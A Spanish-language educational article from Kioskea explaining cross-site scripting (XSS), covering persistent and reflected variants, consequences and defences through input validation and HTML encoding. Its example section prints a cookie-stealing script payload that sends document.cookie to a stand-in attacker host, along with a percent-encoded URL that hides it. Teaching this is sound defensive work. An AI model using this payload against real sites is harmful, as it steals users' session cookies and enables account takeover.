rss

Ataques: Secuencia de comandos entre páginas Web (XSS)


Inyección de código malintencionado

Los ataques por secuencias de comandos entre páginas Web (también conocidos como XSS o CSS) son ataques dirigidos a los páginas Web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página Web a mostrar el código HTML o los comandos ingresados por los usuarios. Por lo tanto, el código incluido (por lo general se usa el término "inyectado") en una página Web vulnerable se considera "malintencionado".

Es común que las páginas Web muestren mensajes informativos directamente mediante el uso de un parámetro introducido por el usuario. El ejemplo más clásico es el de las "páginas de error 404". Algunas páginas Web modifican el comportamiento de la página Web de modo que pueda mostrar un mensaje de error personalizado cuando la página solicitada por el visitante no existe. En ciertas ocasiones, la página generada dinámicamente muestra el nombre de aquella que se solicita. A una página Web con dicho error la llamaremos http://paginaweb.vulnerable. La solicitud de la dirección URL del página Web http://pagina web.vulnerable/paginainexistente correspondiente a una página que no existe genera un mensaje de error que indica que la "página inexistente" no existe. En consecuencia, es posible mostrar cualquier contenido desde el página Web remplazando "página inexistente" por cualquier otra cadena.

De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un código HTML arbitrario en una página Web para cambiar su apariencia, contenido o comportamiento.

Asimismo, la mayoría de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las páginas Web, incluso en otros lenguajes, como JavaScript, VBScript, Java, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una página Web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.

Por lo tanto, un pirata informático puede inyectar un código arbitrario en la página para que se ejecute en el equipo del usuario cuando intenta garantizar la seguridad de la página Web vulnerable. Para ello, sólo debe remplazar el valor del texto que se mostrará con una secuencia de comandos de modo que aparezca en la página Web. Siempre y cuando el navegador del usuario esté configurado para ejecutar dichas secuencias de comandos, el código malintencionado tendrá acceso a todos los datos compartidos por la página Web y el servidor del usuario (cookies, campos de entrada, etc.).

Consecuencias

Gracias a las vulnerabilidades de las secuencias de comandos entre páginas Web, un pirata informático puede usar este método para recuperar datos intercambiados entre el usuario y el página Web al que ingresa. Por ejemplo, el código inyectado en la página se puede usar para engañar al usuario y hacer que ingrese información de autenticación.

Además, la secuencia de comandos inyectada puede redireccionar al usuario a una página Web controlada por el pirata informático, probablemente con la misma interfaz gráfica que la página Web comprometida para engañar al usuario.

En este contexto, la relación de confianza que existía entre el usuario y el página Web se ve afectada por completo.

Persistencia del ataque

Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto período de tiempo (como en el caso de un foro de discusión, por ejemplo), el ataque se llama "persistente". Todos los usuarios de la página Web tienen acceso a la página donde se ha inyectado el código.

Los ataques denominados "no persistentes" se dirigen a páginas Web dinámicas en las que una variable ingresada por el usuario se muestra como tal (por ejemplo, cuando aparece el nombre de usuario de la página actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta vulnerabilidad, el atacante debe proporcionar a la víctima una dirección URL modificada, transfiriendo el código que se debe ingresar como un parámetro. Sin embargo, debido a que una dirección URL contiene código Javascript y algunos elementos pueden resultarle sospechosos a la víctima, este ataque generalmente se realiza codificando los datos de la dirección URL para que el código inyectado permanezca oculto.

Ejemplo

Supongamos que la página de inicio de CómoFunciona.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:

http://es.kioskea.net/?nom=Jeff

Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Jeff" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:

<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:

http://es.kioskea.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

No obstante, la codificación de la dirección URL permite ocultar el ataque:

http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

Ataque entre páginas Web

En el ejemplo anterior, toda la secuencia de comandos se transfirió como un parámetro URL. El método GET, que permite transferir los parámetros a la dirección URL, se limita a una longitud total de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un código malintencionado almacenado en una secuencia de comandos en un servidor remoto. Como es posible inyectar un código desde una fuente remota, este tipo de ataque se realiza "entre páginas Web".

Protección

Los usuarios pueden protegerse contra los ataques XSS al configurar sus navegadores para impedir que se ejecuten lenguajes de secuencias de comando. En realidad, esto no brinda una solución óptima para el usuario ya que muchas páginas Web no funcionan adecuadamente cuando se prohíbe la ejecución de un código dinámico.

La única solución viable para impedir los ataques por secuencias de comandos entre páginas Web consiste en diseñar páginas Web sin vulnerabilidades. Para ello, el diseñador debe:

  • verificar el formato de los datos ingresados por los usuarios
  • codificar los datos visibles del usuario remplazando los caracteres especiales con sus equivalentes en HTML
El término "sanitización"(sanitation en inglés) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados.

Más información


Este documento intitulado « Ataques: Secuencia de comandos entre páginas Web (XSS) » de Kioskea (es.kioskea.net) esta puesto a diposición bajo la licencia Creative Commons. Puede copiar, modificar bajo las condiciones puestas por la licencia, siempre que esta nota sea visible.
 
[MSN] Utilizar MSN sin instalarlo – desde un sitio webEs posible utilizar un cliente MSN para discutir con sus amigos sin tener que instalarlo. Existen algunos clientes concebidos para ser utilizados desde un navegador como una página web. Evidentemente, sus funcionalidades son muy básicas (sin... es.kioskea.net/faq/sujet-139-msn-utilizar-msn-sin-instalarlo-desde-un-sitio-web
[IE] Problemas para acceder a páginas seguras (HTTPS/SSL)Si Internet Explorer no puede conectarse a páginas seguras como la página Web de tu banco o páginas de venta en línea (e-commerce), probablemente se deba a un mal soporte del estándar SSL, que permite acceder a páginas con una conexión cifrada... es.kioskea.net/faq/sujet-132-ie-problemas-para-acceder-a-paginas-seguras-https-ssl
[Lenguajes] Enviar un email con un archivo adjuntoTanto los emails como las páginas web contienen cabeceras (headers en inglés). Estas cabeceras sirven para dar información necesaria como la dirección del destinatario, la del remitente, la fecha de envío, el asunto del email, etc. Estas son... es.kioskea.net/faq/sujet-1034-lenguajes-enviar-un-email-con-un-archivo-adjunto
¿Cómo posicionar tu página web?: los motores de búsquedaAquí algunos otros "trucos" que debes saber para posicionar una página web. Los motores de búsqueda donde debes presentar tu página web cueste lo que cueste: 1) DMOZ (http://www.dmoz.org/). Este sitio web es muy importante ya que Google, Yahoo,... es.kioskea.net/faq/sujet-470-como-posicionar-tu-pagina-web-los-motores-de-busqueda
Recuperar el vídeo de una pagina WebAquí tenemos un pequeño plug-in para Firefox que nos va a permitir recuperar los vídeos de diferentes paginas web sin ninguna complicacion. Índice : Introducción Instalación Recuperar un vídeo Como reproducir el vídeo Webs... es.kioskea.net/faq/sujet-39-recuperar-el-video-de-una-pagina-web
[Webmaster] Ver cómo se ve tu página webLos navegadores interpretan los estándares de manera diferente según las diferentes plataformas. Entonces, al desarrollar nuestra página web debemos tener en cuenta esto, y para saber como los usuarios verán nuestra página web necesitaremos utilizar... es.kioskea.net/faq/sujet-473-webmaster-ver-como-se-ve-tu-pagina-web
Agregar a tu página Web un reloj (Resuelto)Hola, Mediante este script podrás agregar a tu página Web un reloj. Agrega el código directamente al lugar de la página donde quieres que aparezca. CODE es.kioskea.net/forum/affich-2191-agregar-a-tu-pagina-web-un-reloj
Ver pagina Web en Safari y en IEHola, Buen dia a todos. Alguen me puede ayudar a explicar, que tengo que hacer para que mi Pagina Web que hise, se vea en Safari. Yo puedo verla perfecta en IE, pero almomento de entrar a Safari, se descuadra todo. Que puedo hacer?? Saludos es.kioskea.net/forum/affich-14664-ver-pagina-web-en-safari-y-en-ie
Descargar WYSIWYG Web BuilderUtiliza esta tecnología para ayudar a cualquier usuario a crear de forma fácil y rápida una página web completa sin necesidad de conocer el lenguaje HTML, que es el utilizado para la creación de sitios Web. Vas a tener una página en blanco y... es.kioskea.net/telecharger/telecharger-309-wysiwyg-web-builder
Descargar Prompt FTP ClientEs un Protocolo de transferencia de archivos (FTP) cliente que se utiliza para transferir archivos entre su computadora y File Transfer Protocol (FTP) servidores. Si está publicado en una página Web, descargando las últimas imágenes digitales,... es.kioskea.net/telecharger/telecharger-607-prompt-ftp-client
Descargar Ewisoft Web BuilderCuando te hablan de crear una página web y publicarla, no te imaginas como hacerlo, no necesitarás experiencia en la creación, porque llego en el momento oportuno Ewisoft Web Builder para ayudarte en la confección de páginas web. Contiene... es.kioskea.net/telecharger/telecharger-283-ewisoft-web-builder